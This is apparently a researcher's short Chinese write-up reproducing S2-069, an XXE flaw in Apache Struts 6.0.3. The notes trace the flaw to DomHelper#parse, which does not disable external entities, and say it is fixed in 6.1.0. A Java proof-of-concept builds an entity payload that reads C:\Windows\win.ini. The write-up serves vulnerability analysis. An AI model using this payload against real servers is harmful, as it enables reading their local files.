组件简介

Apache Struts 是一个用于创建 Java Web 应用程序的免费开源 Web 框架。

复现版本

6.0.3

分析过程

应该是这个洞


6.1.0 和 6.1.1 的 diff 没看出来哪儿修了

https://github.com/apache/struts/pull/628/commits/6658c6360e771a793ab261e5b4d3ed9dfb6720d3

从这来看 6.1.0 已经修了 不在影响范围内

​

​

首先是 xwork 组件

DomHelper#parse

在 6.0.3 中是没有关闭外部实体解析的

最终会调到JAXPSAXParser#parse

​

​

​

复现过程如下

String uri = "C:\\Windows\\win.ini";
        String xml =
            "<?xml version=\"1.0\"?>\n" +
            "<!DOCTYPE foo [<!ENTITY xxe SYSTEM \"" + uri + "\">]>\n" +
            "<foo>&xxe;</foo>";

        InputSource in = new InputSource(new StringReader(xml));
        Document doc = DomHelper.parse(in);
        String res = doc.getDocumentElement().getTextContent();

修复后(6.1.0)





参考

https://github.com/apache/struts/pull/628/commits/6658c6360e771a793ab261e5b4d3ed9dfb6720d3

https://cwiki.apache.org/confluence/display/WW/S2-069